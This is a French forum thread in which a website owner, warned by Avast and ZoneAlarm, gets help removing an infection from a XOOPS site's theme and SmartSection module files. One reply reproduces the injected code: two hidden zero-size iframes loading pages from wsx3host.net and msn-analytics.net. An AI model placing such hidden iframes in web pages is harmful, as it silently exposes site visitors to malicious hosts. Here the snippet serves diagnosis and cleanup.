Bonsoir,
mon anti-virus, Avast free, m'interdit de me connecter à mon site w w w . saintfaust.info m'indiquant qu'il bloque un virus ayant la provenance de /modules/smartsection/backend.php/unp254045356(ou autre suite de n°s).
C'est assez urgent, merci d'avance...


edit kris : j'ai modifié l'écriture du lien, virus détecté par zonealarm également

Rapatrie le dossier de ton module, et toutes les news sur ton PC par FTP, puis fait une analyse antivirus pour voir.
L'utilisation d'une distrib Linux + Avast for Linux serait plus sécurisant pour cela.
Ou demande a ton hébergeur s'il peut en faire une.
Il y a de fortes chances aussi que ce ne soit qu'une fausse alertes.

Sous le PC sous XP de ma femme avec Avast, je l'ai
HTML:Iframe-gen de son ptit nom
Dans le fichier
http: //w w w. saintfaust.info/modules/smartsection/backend.php\unp120618178

Recherche
http://www.google.fr/search?hl=fr&rlz ... gen&btnG=Rechercher&meta=

Regarde dans tes fichiers index si tu as quelque chose de ce genre

Bonjour,

via la base de données, mets ton site en maintenance.
vides templates_c
regardes dans ton fichier theme.html si tu n'as pas une ligne avec "iframe", si oui : supprimes, également les scripts pour d'éventuelles stats.
si non ... on verra ensuite

@++

?><iframe src="http://wsx3host.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

ça y ressemble, non ?

Oui, alors là, d'accord, mais je ne sais même pas faire ça, même si je sais où se situe la page maintenance...
Déb de chez déd...

Bon, j'ai modifié les perm, c'est déjà ça : plus d'accès web.

Exact, le deuxième lien de ton bout de code est déclaré site dangereux par WOT.
Dans quel fichier exactement tu l'as trouvé ?
Il va falloir le modifier.

Effectivement, theme.html était infecté...

Jah : je l'ai trouvé dans modules/smartsection/index.php

Donc, pour récapituler :
j'ai supprimé la ligne dans /themes/xeatol/theme.html
et je l'ai aussi trouvé dans modules/smartsection/index.php (mais pas suppr)
et comme Avast, dans modules/smartsection/backend.php .
L'arbo comprend plusieurs index.php et theme.html... je les fais tous ?